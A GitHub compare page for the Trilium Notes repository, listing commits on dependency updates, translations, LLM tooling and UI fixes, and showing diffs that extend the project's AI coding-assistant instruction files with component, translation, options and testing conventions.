Compare commits

...

184 Commits

Author SHA1 Message Date
perfectra1n
554ada65b2 fix(client): resolve issue with sanitized HTML in client 2026-04-12 15:22:28 -07:00
perfectra1n
e9795dab9d feat(sanitization): use DOMPurify's included tags 2026-04-12 13:16:20 -07:00
perfectra1n
a92561fef3 fix(tests): resolve issue with failing image test 2026-04-12 11:57:39 -07:00
perfectra1n
220e15ea89 fix(types): oops accidentally slapped a period there 2026-04-12 11:31:16 -07:00
perfectra1n
3c4ec1ecfb fix(types): resolve issues with typecheck 2026-04-12 11:28:09 -07:00
perfectra1n
6593470289 Merge origin/main into feat/fun-take1
Resolve merge conflicts in:
- apps/client/src/widgets/highlights_list.ts (keep math formula handling)
- apps/server/src/routes/api/options.ts (keep isReadable/isAllowed split, drop dead getSupportedLocales)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 11:01:38 -07:00
Elian Doran
9a427f4b9f chore(client): dev server not working due to prefresh bug
See https://github.com/preactjs/prefresh/issues/610
2026-04-12 17:32:03 +03:00
Elian Doran
6a83356cf7 chore(deps): update dependency @lezer/common to v1.5.2 (#9386) 2026-04-12 13:13:51 +03:00
Elian Doran
233c41acc0 fix(deps): update dependency i18next to v26.0.4 (#9388) 2026-04-12 13:13:12 +03:00
Elian Doran
3b0451da9e fix(deps): update dependency ai to v6.0.154 (#9387) 2026-04-12 13:11:26 +03:00
Elian Doran
e217a3146f chore(deps): update dependency @redocly/cli to v2.26.0 (#9389) 2026-04-12 13:10:41 +03:00
Elian Doran
97c42ef1cb fix(deps): update dependency @zumer/snapdom to v2.8.0 (#9391) 2026-04-12 13:09:06 +03:00
Elian Doran
b12a524de8 chore(deps): update dependency electron to v41.2.0 (#9390) 2026-04-12 11:56:45 +03:00
Elian Doran
ee37fee2c0 Revert "Update dependency minimatch@3>brace-expansion to v5" (#9393) 2026-04-12 11:35:35 +03:00
Elian Doran
ef5d9f980e Merge branch 'main' into revert-9307-renovate/minimatch3-brace-expansion-5.x 2026-04-12 11:35:27 +03:00
Elian Doran
fadbc906e2 chore(deps): update dependency @prefresh/vite to v3 (#9392) 2026-04-12 09:39:14 +03:00
Elian Doran
ba816fc132 Revert "Update dependency minimatch@3>brace-expansion to v5" 2026-04-12 09:37:53 +03:00
renovate[bot]
5ea615da1e chore(deps): update dependency @prefresh/vite to v3 2026-04-12 00:47:10 +00:00
renovate[bot]
ceb955b72b fix(deps): update dependency @zumer/snapdom to v2.8.0 2026-04-12 00:46:12 +00:00
renovate[bot]
43823bcb37 chore(deps): update dependency electron to v41.2.0 2026-04-12 00:45:14 +00:00
renovate[bot]
7984ada306 chore(deps): update dependency @redocly/cli to v2.26.0 2026-04-12 00:44:11 +00:00
renovate[bot]
d3e0c8d894 fix(deps): update dependency i18next to v26.0.4 2026-04-12 00:43:10 +00:00
renovate[bot]
cee1be11ab fix(deps): update dependency ai to v6.0.154 2026-04-12 00:42:06 +00:00
renovate[bot]
230b3207a5 chore(deps): update dependency @lezer/common to v1.5.2 2026-04-12 00:41:03 +00:00
Elian Doran
a7f9032347 feat(llm): add note mutation tools (rename, delete, move, clone) (#9339) 2026-04-12 01:32:14 +03:00
Elian Doran
f137868f92 feat(llm): add stop generation button (#9341) 2026-04-12 00:48:55 +03:00
Elian Doran
175e200d88 fix(llm): stopping a tool call leaves an infinite spinner 2026-04-12 00:48:01 +03:00
Elian Doran
74f951023b Merge remote-tracking branch 'origin/main' into feat/llm-stop-generation 2026-04-12 00:37:27 +03:00
Elian Doran
3e697338e1 Translations update from Hosted Weblate (#9381) 2026-04-11 22:18:18 +03:00
Hosted Weblate
4bffc1c156 Update translation files
Updated by "Cleanup translation files" add-on in Weblate.

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/
2026-04-11 16:38:08 +00:00
green
ac4c5f7d8c Translated using Weblate (Japanese)
Currently translated at 99.9% (1851 of 1852 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/ja/
2026-04-11 16:38:04 +00:00
AggelosPnS
8f41e55b3c Translated using Weblate (Greek)
Currently translated at 100.0% (116 of 116 strings)

Translation: Trilium Notes/README
Translate-URL: https://hosted.weblate.org/projects/trilium/readme/el/
2026-04-11 16:38:02 +00:00
AggelosPnS
ad8aab7b15 Translated using Weblate (Greek)
Currently translated at 96.2% (152 of 158 strings)

Translation: Trilium Notes/Website
Translate-URL: https://hosted.weblate.org/projects/trilium/website/el/
2026-04-11 16:38:00 +00:00
AggelosPnS
7e779669ea Translated using Weblate (Greek)
Currently translated at 2.6% (49 of 1852 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/el/
2026-04-11 16:37:58 +00:00
green
5b01791021 Translated using Weblate (Japanese)
Currently translated at 100.0% (401 of 401 strings)

Translation: Trilium Notes/Server
Translate-URL: https://hosted.weblate.org/projects/trilium/server/ja/
2026-04-11 16:37:55 +00:00
Elian Doran
14bb068626 fix(tree): deleting ancestor of the current note doesn't correctly navigate 2026-04-11 19:36:50 +03:00
Elian Doran
1c93636538 fix(tree): navigating to parent note when deleting a non-active note (closes #9380) 2026-04-11 19:31:44 +03:00
Elian Doran
b402a7a32b Easy fixes v2 (#9377) 2026-04-11 19:19:57 +03:00
Elian Doran
3a7167a65d chore: address requested changes 2026-04-11 19:19:32 +03:00
Elian Doran
6dd7e9cb38 chore(delete): address requested changes 2026-04-11 14:30:44 +03:00
Elian Doran
4ffa016045 fix(sidebar): highlights with math split in read-only text 2026-04-11 14:28:58 +03:00
Elian Doran
2d6f1ee9b7 fix(sidebar): editable mode equations sometimes not rendering 2026-04-11 14:26:22 +03:00
Elian Doran
a1f0615afe chore: fix typecheck 2026-04-11 14:25:01 +03:00
Elian Doran
03ff9c4b27 fix(sidebar): highlights not rendering math in read-only text 2026-04-11 14:23:07 +03:00
Elian Doran
67a48bbec7 fix(sidebar): duplicate equations rendering 2026-04-11 14:14:18 +03:00
Elian Doran
2b63af82ec fix(sidebar): equations not rendered for read-only text 2026-04-11 13:53:10 +03:00
Elian Doran
c5ee7083d8 chore(sidebar): deduplicate math rendering 2026-04-11 13:49:13 +03:00
Elian Doran
0696f7724d chore(react): add an option to make options row stacked 2026-04-11 13:43:10 +03:00
Elian Doran
b7231e3464 feat(delete): improve translations 2026-04-11 13:35:27 +03:00
Elian Doran
214c6c93fd feat(similarity): filter out hidden notes (closes #4584) 2026-04-11 13:34:04 +03:00
Elian Doran
7037ae4ba8 feat(delete): hide removal of clones completely if no clones are affected 2026-04-11 13:24:09 +03:00
Elian Doran
46d6d6fdee feat(include_note): remember value of box size (closes #1623) 2026-04-11 13:23:13 +03:00
Elian Doran
ae751bfb91 feat(delete): improve layout of the note path 2026-04-11 13:20:28 +03:00
Elian Doran
bd0117c52f feat(delete): borderless table 2026-04-11 13:10:38 +03:00
Elian Doran
1402695dbe feat(delete): improve table for broken relations 2026-04-11 13:01:18 +03:00
Elian Doran
72c42afb50 feat(delete): use proper note links and show icons 2026-04-11 12:53:36 +03:00
Elian Doran
2752e0998e feat(delete): render broken relations as a table 2026-04-11 12:50:34 +03:00
Elian Doran
52114e08ba chore(delete): remove redundant list of clones 2026-04-11 12:44:28 +03:00
Elian Doran
a98721c016 fix(ckeditor/include_note): changing expandability doesn't refresh 2026-04-11 12:43:34 +03:00
Elian Doran
c3ab2d09d5 feat(ckeditor/include_note): add a new size for expandable items (closes #4134) 2026-04-11 12:43:17 +03:00
Elian Doran
9ef7802651 chore(delete): remove self-descriptive title 2026-04-11 12:35:27 +03:00
Elian Doran
a913d33a9e chore(ckeditor/include_note): remove debug logs 2026-04-11 12:35:01 +03:00
Elian Doran
49dc7135a7 feat(delete): different behavior when only deleted clones 2026-04-11 12:34:34 +03:00
Elian Doran
7e77560d70 fix(ckeditor/include_note): undo not working after select mechanism 2026-04-11 12:23:22 +03:00
Elian Doran
35cb110151 chore(delete): add missing translations 2026-04-11 12:20:06 +03:00
Elian Doran
4e49c2458d refactor(delete): deduplicate form toggle 2026-04-11 12:19:47 +03:00
Elian Doran
755e5fc416 feat(delete): improve dialog slightly by using cards and options rows 2026-04-11 12:17:25 +03:00
Elian Doran
5d4fd0269f refactor(ckeditor/include_note): use different method for intercepting selection 2026-04-11 12:13:24 +03:00
Elian Doran
461abf768c feat(ckeditor/include_note): add a way to change size after creation (closes #3705) 2026-04-11 12:07:16 +03:00
Elian Doran
602bebe498 feat(server): improve note path display to use chevrons instead of slashes to separate notes (closes #762) 2026-04-11 11:43:57 +03:00
Elian Doran
6c31b35f08 refactor(delete): reuse components for delete note list 2026-04-11 11:42:14 +03:00
Elian Doran
ccf95ad885 feat(delete): clarify "Delete also all clones" based on actual number of clones (closes #2362) 2026-04-11 11:39:05 +03:00
Elian Doran
fb33921308 feat(script): add warning if trying to render an unavailable protected server-side note (closes #21) 2026-04-11 11:17:58 +03:00
Elian Doran
1121ee0133 feat(script): add warning if trying to render a protected note without the session active 2026-04-11 11:15:31 +03:00
Elian Doran
77af4bd288 feat(link): allow bookends: and highlights: protocols (closes #2817) 2026-04-11 11:11:43 +03:00
Elian Doran
a1a2119e37 fix(server): indentation in HTML not preserved (closes #3151) 2026-04-11 11:07:59 +03:00
Elian Doran
afd2806a67 feat(script): increase warning toast time 2026-04-11 11:02:56 +03:00
Elian Doran
3410f0f5bc feat(script): warn if user is trying to run the script in a wrong environment (closes #342) 2026-04-11 11:01:04 +03:00
Elian Doran
4ed2226206 fix(script): logging api.startNote not working (closes #3751) 2026-04-11 10:57:05 +03:00
Elian Doran
b8d7277d88 feat(server): remove old keyboard shortcuts from options (closes #4543) 2026-04-11 10:48:09 +03:00
Elian Doran
1becc18354 fix(ckeditor5): internal link enabled in code block (closes #1712) 2026-04-11 10:41:24 +03:00
Elian Doran
9366d351e0 chore(edit-demo): ensure proper tree expansion state 2026-04-11 10:32:27 +03:00
Elian Doran
e27f5cd419 docs(demo): statistics not rendering (closes #4178) 2026-04-11 10:27:49 +03:00
Elian Doran
b7c1116738 chore(deps): update vitest monorepo to v4.1.3 (#9374) 2026-04-11 10:03:26 +03:00
renovate[bot]
a6a3d743f7 chore(deps): update vitest monorepo to v4.1.3 2026-04-11 06:39:38 +00:00
Elian Doran
dd3f3e9e5c fix(deps): update ai sdk (#9375) 2026-04-11 09:34:36 +03:00
Elian Doran
ad2732b249 chore(deps): update typescript-eslint monorepo to v8.58.1 (#9373) 2026-04-11 09:33:57 +03:00
Elian Doran
10c04bdda0 Translations update from Hosted Weblate (#9371) 2026-04-11 09:00:34 +03:00
noobhjy
26d88afeb7 Translated using Weblate (Chinese (Simplified Han script))
Currently translated at 100.0% (401 of 401 strings)

Translation: Trilium Notes/Server
Translate-URL: https://hosted.weblate.org/projects/trilium/server/zh_Hans/
2026-04-11 07:59:57 +02:00
noobhjy
376d19563d Translated using Weblate (Chinese (Simplified Han script))
Currently translated at 98.4% (1823 of 1852 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/zh_Hans/
2026-04-11 07:59:57 +02:00
Francis C.
d2895f0f42 Translated using Weblate (Chinese (Traditional Han script))
Currently translated at 99.9% (1851 of 1852 strings)

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/zh_Hant/
2026-04-11 07:59:56 +02:00
Francis C.
30310ef2ba Translated using Weblate (Chinese (Traditional Han script))
Currently translated at 100.0% (401 of 401 strings)

Translation: Trilium Notes/Server
Translate-URL: https://hosted.weblate.org/projects/trilium/server/zh_Hant/
2026-04-11 07:59:56 +02:00
Hosted Weblate
924a9747f1 Update translation files
Updated by "Cleanup translation files" add-on in Weblate.

Translation: Trilium Notes/Client
Translate-URL: https://hosted.weblate.org/projects/trilium/client/
2026-04-11 07:59:55 +02:00
Elian Doran
f8ed48d2d2 fix(deps): update dependency marked to v18 (#9376) 2026-04-11 08:59:47 +03:00
renovate[bot]
9cdb2a73e3 chore(deps): update typescript-eslint monorepo to v8.58.1 2026-04-11 05:58:20 +00:00
Elian Doran
ad3258b88e chore(deps): update dependency vite to v8.0.7 (#9372) 2026-04-11 08:52:36 +03:00
renovate[bot]
4461ab080a fix(deps): update ai sdk 2026-04-11 05:44:10 +00:00
renovate[bot]
9b07f156b2 fix(deps): update dependency marked to v18 2026-04-11 01:54:33 +00:00
renovate[bot]
94c7967800 chore(deps): update dependency vite to v8.0.7 2026-04-11 01:50:19 +00:00
Elian Doran
a5b248e663 feat(ckeditor): match style for admonitions in floating toolbar 2026-04-11 00:50:20 +03:00
Elian Doran
1ec43722e8 fix(ckeditor): admonitions overshadowing floating toolbar 2026-04-11 00:47:51 +03:00
Elian Doran
88c548cc70 feat(ckeditor): add a toolbar to switch admonition types 2026-04-11 00:47:36 +03:00
Elian Doran
daafe251da feat(text): click to copy inline code in read-only text 2026-04-11 00:40:41 +03:00
Elian Doran
147ecbccda feat(ckeditor): add copy button for inline code 2026-04-11 00:36:43 +03:00
Elian Doran
be5d2d07bc Easy fixes v1 (#9370) 2026-04-11 00:29:15 +03:00
Elian Doran
adbe8f6c42 feat(options/sync): improve timeout layout 2026-04-11 00:16:41 +03:00
Elian Doran
18aec84be5 chore(client): address requested changes 2026-04-11 00:16:20 +03:00
Elian Doran
5f68958aa7 chore(client): address requested changes 2026-04-10 23:54:27 +03:00
Elian Doran
4787f644a6 feat(options): friendlier zoom factor selection (closes #5444) 2026-04-10 23:38:29 +03:00
Elian Doran
524f8df866 feat(search): add an option to open all results (closes #5376) 2026-04-10 23:36:29 +03:00
Elian Doran
bb381c1349 refactor(highlights): remove unnecessary logic in old layout (closes #5375) 2026-04-10 23:21:00 +03:00
Elian Doran
36c31dac14 refactor(client): remove unused translation 2026-04-10 23:20:35 +03:00
Elian Doran
01b6926054 test(server): sync options with various scenarios 2026-04-10 23:20:24 +03:00
Elian Doran
84cfa0a9f7 fix(server): overriding sync_options affected by the timeScale 2026-04-10 23:17:47 +03:00
Elian Doran
cb83c51632 chore(ai): update system prompt regarding tests 2026-04-10 23:17:09 +03:00
Elian Doran
97256ba291 feat(options): add nicer sync timeout selector (closes #5513) 2026-04-10 23:12:07 +03:00
Elian Doran
d3c596aaa0 feat(highlights): render highlighted equations in new layout 2026-04-10 23:03:30 +03:00
Elian Doran
3d2fa57873 fix(toc): equations sometimes duplicated 2026-04-10 23:01:07 +03:00
Elian Doran
c435050018 refactor(client): deduplicate checks for title/icon editability 2026-04-10 22:36:13 +03:00
Elian Doran
14f761de36 fix(options): icons can be modified 2026-04-10 22:35:06 +03:00
Elian Doran
626438d8f5 fix(options): titles can be modified (closes #5371) 2026-04-10 22:33:39 +03:00
Elian Doran
e29555a89b fix(collections/calendar): displaying deep children (closes #7944) 2026-04-10 22:17:55 +03:00
Elian Doran
05da2d7a50 fix(collections/table): unable to set number cell to zero (closes #6555) 2026-04-10 22:11:10 +03:00
Elian Doran
1124533557 fix(edit-docs): wrong starting note 2026-04-10 22:01:41 +03:00
Elian Doran
878603c7b0 fix(jump_to_note): caret at the end when entering command mode (closes #7942) 2026-04-10 21:17:38 +03:00
Elian Doran
19583cd84a fix(edit-demo): cloned notes lost due to async issue 2026-04-10 21:14:39 +03:00
Elian Doran
9f26d6efdc feat(text): render note icons in autocompletion (closes #8188) 2026-04-10 21:11:49 +03:00
Elian Doran
043e620231 fix(setup): trailing slash affects sync (closes #8045) 2026-04-10 21:09:29 +03:00
Elian Doran
d3dbdd4ceb docs(scripting): typos in "Trilium Demo" note (closes #8230) 2026-04-10 21:02:05 +03:00
Elian Doran
0859165072 docs(scripting): missing step in word count widget (closes #8561) 2026-04-10 20:54:13 +03:00
Elian Doran
ca7ab6105d chore(ai): keep system prompts in sync 2026-04-10 20:48:15 +03:00
Elian Doran
3af2b32783 fix(react): workaround for bootstrap tooltip error (closes #8900) 2026-04-10 20:43:41 +03:00
Elian Doran
8d5df7e888 chore(ai): update system prompt for reusing components and using translations 2026-04-10 20:42:33 +03:00
Elian Doran
126ee27505 feat(search): some error messages were not translated (closes #8850) 2026-04-10 20:38:13 +03:00
Elian Doran
fc2d8452b5 feat(search): clarify error message for full-text search after expressions 2026-04-10 20:31:23 +03:00
Elian Doran
1b8c234f30 feat(search): clarify error message for use of unquoted note 2026-04-10 20:28:37 +03:00
Elian Doran
540b607459 fix(note_map): freezing the app if there are too many notes (closes #8916) 2026-04-10 20:13:00 +03:00
Elian Doran
ee229bd0d7 fix(client): note title doesn't get selected anymore when creating new note (closes #8407) 2026-04-10 20:04:23 +03:00
Elian Doran
439d39d8fa Editing quirks (#9362) 2026-04-10 13:42:03 +03:00
Elian Doran
8c379d03a9 Update apps/client/src/widgets/collections/calendar/index.tsx
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
2026-04-10 13:41:25 +03:00
Elian Doran
ff31104b99 fix(collections/calendar): unnecessary start date set when editing a note in quick edit 2026-04-10 13:31:44 +03:00
Elian Doran
dfe6063929 fix(client): spaced update saving more times than necesssary and causing performance issues 2026-04-10 12:00:08 +03:00
Elian Doran
a4b716f8c7 fix(board): clicking on a URL would open th quick edit panel 2026-04-10 11:38:42 +03:00
Elian Doran
7efc36efef fix(collections): not reacting to changes in reordering 2026-04-10 11:35:32 +03:00
Elian Doran
1554c9907e fix(server): not starting due to dependency update 2026-04-10 11:34:46 +03:00
Elian Doran
df46ddcf60 chore(deps): update pnpm lock 2026-04-10 11:28:18 +03:00
Elian Doran
6fb19d0287 feat: add download button for backups (#9190) 2026-04-10 11:00:04 +03:00
Elian Doran
d702f69415 Update dependency minimatch@3>brace-expansion to v5 (#9307) 2026-04-10 10:41:05 +03:00
Elian Doran
eb81e830a1 Update dependency eslint-linter-browserify to v10.2.0 (#9334) 2026-04-10 10:38:45 +03:00
Elian Doran
a24b9d7a38 fix(web-clipper): Remove trailing / from triliumServerUrl (#9344) 2026-04-10 10:37:14 +03:00
Elian Doran
efeaa1e895 chore(deps): audit fix 2026-04-10 10:29:50 +03:00
Elian Doran
a239eba6ce chore(llm): update backend script to be aware of the changes 2026-04-10 10:24:44 +03:00
Elian Doran
d009582252 feat(script): mark cheerio as deprecated and provide alternative 2026-04-10 10:22:15 +03:00
Elian Doran
fe710823c1 docs(user): add breaking change documentation for axios 2026-04-10 10:15:24 +03:00
Elian Doran
bfe593ae52 feat(server): remove axios 2026-04-10 09:59:51 +03:00
Elian Doran
f653a22557 chore(deps): remove upath 2026-04-10 09:51:49 +03:00
Elian Doran
96e7f22520 Update ai sdk (#9357) 2026-04-10 09:49:30 +03:00
Elian Doran
e6d3d22db7 Update dependency fuse.js to v7.3.0 (#9335) 2026-04-10 09:46:01 +03:00
Elian Doran
1258dedab3 Update dependency marked to v17.0.6 (#9348) 2026-04-10 08:18:26 +03:00
Elian Doran
ec15c7e63e Update dependency eslint-plugin-simple-import-sort to v13 (#9359) 2026-04-10 08:17:44 +03:00
Elian Doran
5037eaf205 Update codemirror themes (#9358) 2026-04-10 08:16:43 +03:00
renovate[bot]
cb706453aa Update dependency eslint-plugin-simple-import-sort to v13 2026-04-10 02:14:33 +00:00
renovate[bot]
772ebbf929 Update codemirror themes 2026-04-10 02:13:55 +00:00
renovate[bot]
60e1aca3b1 Update ai sdk 2026-04-10 02:13:17 +00:00
Tomas Adamek
49476d72fc Update apps/server/src/services/llm/tools/hierarchy_tools.ts
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
2026-04-09 20:50:59 +02:00
renovate[bot]
31eaa4181d Update dependency fuse.js to v7.3.0 2026-04-09 15:03:57 +00:00
Lorinc936
9e701645d5 Merge branch 'TriliumNext:main' into main 2026-04-09 11:23:49 +00:00
renovate[bot]
0fa121cdf2 fix(deps): update dependency marked to v17.0.6 2026-04-09 01:14:36 +00:00
renovate[bot]
2316f38978 chore(deps): update dependency minimatch@3>brace-expansion to v5 2026-04-08 21:14:49 +00:00
renovate[bot]
b65bf12247 fix(deps): update dependency eslint-linter-browserify to v10.2.0 2026-04-08 21:13:29 +00:00
Bart Visscher
55291d43a6 fix(web-clipper): Remove trailing / from triliumServerUrl 2026-04-08 16:38:17 +02:00
Tomáš Adámek
01bee95833 fix: extract finalizeStream helper, re-throw non-AbortError exceptions
- Extract duplicated cleanup logic into shared finalizeStream() function
- Add else branch to re-throw non-AbortError exceptions instead of swallowing them
2026-04-08 16:17:37 +02:00
Tomáš Adámek
5938fa6ffb fix: address review — shared PROTECTED_SYSTEM_NOTES, protection checks, soft delete description
- Move PROTECTED_SYSTEM_NOTES to helpers.ts for shared use
- move_note: check against full system notes set, add protected parent check
- clone_note: add source note protection + protected parent checks
- delete_note: fix description to say 'soft delete' (recoverable)
2026-04-08 16:08:02 +02:00
Tomáš Adámek
dc40f6b530 feat(llm): add stop generation button
Allow users to stop an in-progress LLM generation by aborting the
SSE connection. The send button transforms into a red stop button
during streaming.

- AbortController passed to fetch() signal for stream cancellation
- On abort, partial content is finalized and saved as a message
- Stop button replaces send button during streaming with danger color
- Button is always clickable during streaming (not disabled)
2026-04-07 13:28:23 +02:00
Tomáš Adámek
d771454aa5 feat(llm): add note mutation tools (rename, delete, move, clone)
Add four new LLM tools for note management:
- rename_note: Change the title of an existing note
- delete_note: Delete a note with system note protection
- move_note: Move a note to a new parent using branch service
- clone_note: Clone a note to an additional parent

All mutation tools are marked with mutates: true for the tool
approval system. Protected and system notes are guarded against
modification.
2026-04-07 13:19:16 +02:00
perfectra1n
4721a60214 Merge remote-tracking branch 'origin/main' into feat/fun-take1
# Conflicts:
#	apps/client/src/services/doc_renderer.ts
#	apps/desktop/electron-forge/forge.config.ts
#	apps/desktop/package.json
#	apps/server/src/routes/api/files.ts
#	apps/server/src/routes/api/image.ts
#	apps/server/src/services/open_id.ts
#	apps/server/src/share/routes.ts
#	pnpm-lock.yaml
2026-04-05 18:56:29 -07:00
perfectra1n
732d1280c0 Merge branch 'main' into feat/fun-take1
# Conflicts:
#	apps/client/package.json
#	pnpm-lock.yaml
2026-04-05 15:21:58 -07:00
Lorinc936
f8c59a1730 Merge branch 'main' into main 2026-03-28 17:26:36 +00:00
Lorinc936
c833c3591f docs: documentation for downloading backups 2026-03-26 22:09:01 +01:00
Lorinc936
ccbd962e0b Backend for backup download button 2026-03-26 21:57:53 +01:00
Lorinc936
966d2afe69 Feat: backup download frontend and locales 2026-03-26 21:36:54 +01:00
perfectra1n
8ce969c5ad feat(dev): merge main into feature branch 2026-03-22 18:05:39 -07:00
perfectra1n
43963b7b71 feat(security): require scripting to be enabled for sharing? 2026-02-25 12:01:30 -08:00
perfectra1n
f94f91656a feat(security): implement a ton of security guardrails, as well as completely disabling scripting if wanted 2026-02-19 15:59:22 -08:00
205 changed files with 12750 additions and 8673 deletions

View File

@@ -1,5 +1,7 @@
# Trilium Notes - AI Coding Agent Instructions
> **Note**: When updating this file, also update `CLAUDE.md` in the repository root to keep both AI coding assistants in sync.
## Project Overview
Trilium Notes is a hierarchical note-taking application with advanced features like synchronization, scripting, and rich text editing. Built as a TypeScript monorepo using pnpm, it implements a three-layer caching architecture (Becca/Froca/Shaca) with a widget-based UI system and supports extensive user scripting capabilities.
@@ -115,6 +117,15 @@ class MyNoteWidget extends NoteContextAwareWidget {
**Important**: Widgets use jQuery (`this.$widget`) for DOM manipulation. Don't mix React patterns here.
### Reusable Preact Components
Common UI components are available in `apps/client/src/widgets/react/` — prefer reusing these over creating custom implementations:
- `NoItems` - Empty state placeholder with icon and message (use for "no results", "too many items", error states)
- `ActionButton` - Consistent button styling with icon support
- `FormTextBox` - Text input with validation and controlled input handling
- `Slider` - Range slider with label
- `Checkbox`, `RadioButton` - Form controls
- `CollapsibleSection` - Expandable content sections
## Development Workflow
### Running & Testing
@@ -322,8 +333,26 @@ Trilium provides powerful user scripting capabilities:
- When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
- When adding a new locale, follow the step-by-step guide in `docs/Developer Guide/Developer Guide/Concepts/Internationalisation Translations/Adding a new locale.md`
#### Client vs Server Translation Usage
- **Client-side**: `import { t } from "../services/i18n"` with keys in `apps/client/src/translations/en/translation.json`
- **Server-side**: `import { t } from "i18next"` with keys in `apps/server/src/assets/translations/en/server.json`
- **Interpolation**: Use `{{variable}}` for normal interpolation; use `{{- variable}}` (with hyphen) for **unescaped** interpolation when the value contains special characters like quotes that shouldn't be HTML-escaped
### Storing User Preferences
- **Do not use `localStorage`** for user preferences — Trilium has a synced options system that persists across devices
- To add a new user preference:
1. Add the option type to `OptionDefinitions` in `packages/commons/src/lib/options_interface.ts`
2. Add a default value in `apps/server/src/services/options_init.ts` in the `defaultOptions` array
3. **Whitelist the option** in `apps/server/src/routes/api/options.ts` by adding it to `ALLOWED_OPTIONS` (required for client updates)
4. Use `useTriliumOption("optionName")` hook in React components to read/write the option
- Available hooks: `useTriliumOption` (string), `useTriliumOptionBool`, `useTriliumOptionInt`, `useTriliumOptionJson`
- See `docs/Developer Guide/Developer Guide/Concepts/Options/Creating a new option.md` for detailed documentation
## Testing Conventions
- **Write concise tests**: Group related assertions together in a single test case rather than creating many one-shot tests
- **Extract and test business logic**: When adding pure business logic (e.g., data transformations, migrations, validations), extract it as a separate function and always write unit tests for it
```typescript
// ETAPI test pattern
describe("etapi/feature", () => {

View File

@@ -2,6 +2,8 @@
This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
> **Note**: When updating this file, also update `.github/copilot-instructions.md` to keep both AI coding assistants in sync.
## Overview
Trilium Notes is a hierarchical note-taking application with advanced features like synchronization, scripting, and rich text editing. It's built as a TypeScript monorepo using pnpm, with multiple applications and shared packages.
@@ -66,6 +68,15 @@ Frontend uses a widget system (`apps/client/src/widgets/`):
- `RightPanelWidget` - Widgets displayed in the right panel
- Type-specific widgets in `type_widgets/` directory
#### Reusable Preact Components
Common UI components are available in `apps/client/src/widgets/react/` — prefer reusing these over creating custom implementations:
- `NoItems` - Empty state placeholder with icon and message (use for "no results", "too many items", error states)
- `ActionButton` - Consistent button styling with icon support
- `FormTextBox` - Text input with validation and controlled input handling
- `Slider` - Range slider with label
- `Checkbox`, `RadioButton` - Form controls
- `CollapsibleSection` - Expandable content sections
#### API Architecture
- **Internal API**: REST endpoints in `apps/server/src/routes/api/`
- **ETAPI**: External API for third-party integrations (`apps/server/src/etapi/`)
@@ -108,6 +119,8 @@ Trilium supports multiple note types, each with specialized widgets:
- Client tests can run in parallel
- E2E tests use Playwright for both server and desktop apps
- Build validation tests check artifact integrity
- **Write concise tests**: Group related assertions together in a single test case rather than creating many one-shot tests
- **Extract and test business logic**: When adding pure business logic (e.g., data transformations, migrations, validations), extract it as a separate function and always write unit tests for it
### Scripting System
Trilium provides powerful user scripting capabilities:
@@ -124,6 +137,11 @@ Trilium provides powerful user scripting capabilities:
- When adding a new locale, follow the step-by-step guide in `docs/Developer Guide/Developer Guide/Concepts/Internationalisation Translations/Adding a new locale.md`
- **Server-side translations** (e.g. hidden subtree titles) go in `apps/server/src/assets/translations/en/server.json`, not in the client `translation.json`
#### Client vs Server Translation Usage
- **Client-side**: `import { t } from "../services/i18n"` with keys in `apps/client/src/translations/en/translation.json`
- **Server-side**: `import { t } from "i18next"` with keys in `apps/server/src/assets/translations/en/server.json`
- **Interpolation**: Use `{{variable}}` for normal interpolation; use `{{- variable}}` (with hyphen) for **unescaped** interpolation when the value contains special characters like quotes that shouldn't be HTML-escaped
### Electron Desktop App
- Desktop entry point: `apps/desktop/src/main.ts`, window management: `apps/server/src/services/window.ts`
- IPC communication: use `electron.ipcMain.on(channel, handler)` on server side, `electron.ipcRenderer.send(channel, data)` on client side
@@ -139,6 +157,16 @@ Trilium provides powerful user scripting capabilities:
- **Do not use `crypto.randomUUID()`** or other Web Crypto APIs that require secure contexts - Trilium can run over HTTP, not just HTTPS
- Use `randomString()` from `apps/client/src/services/utils.ts` for generating IDs instead
### Storing User Preferences
- **Do not use `localStorage`** for user preferences — Trilium has a synced options system that persists across devices
- To add a new user preference:
1. Add the option type to `OptionDefinitions` in `packages/commons/src/lib/options_interface.ts`
2. Add a default value in `apps/server/src/services/options_init.ts` in the `defaultOptions` array
3. **Whitelist the option** in `apps/server/src/routes/api/options.ts` by adding it to `ALLOWED_OPTIONS` (required for client updates)
4. Use `useTriliumOption("optionName")` hook in React components to read/write the option
- Available hooks: `useTriliumOption` (string), `useTriliumOptionBool`, `useTriliumOptionInt`, `useTriliumOptionJson`
- See `docs/Developer Guide/Developer Guide/Concepts/Options/Creating a new option.md` for detailed documentation
### Shared Types Policy
- Types shared between client and server belong in `@triliumnext/commons` (`packages/commons/src/lib/`)
- Import shared types directly from `@triliumnext/commons` - do not re-export them from app-specific modules

View File

@@ -16,7 +16,7 @@
"license": "AGPL-3.0-only",
"packageManager": "pnpm@10.33.0",
"devDependencies": {
"@redocly/cli": "2.25.4",
"@redocly/cli": "2.26.0",
"archiver": "7.0.1",
"fs-extra": "11.3.4",
"js-yaml": "4.1.1",

View File

@@ -42,7 +42,7 @@
"@univerjs/preset-sheets-note": "0.20.0",
"@univerjs/preset-sheets-sort": "0.20.0",
"@univerjs/presets": "0.20.0",
"@zumer/snapdom": "2.7.0",
"@zumer/snapdom": "2.8.0",
"autocomplete.js": "0.38.1",
"bootstrap": "5.3.8",
"boxicons": "2.1.4",
@@ -52,7 +52,7 @@
"dompurify": "3.3.3",
"draggabilly": "3.0.0",
"force-graph": "1.51.2",
"i18next": "26.0.3",
"i18next": "26.0.4",
"i18next-http-backend": "3.0.4",
"jquery": "4.0.0",
"jquery.fancytree": "2.38.5",
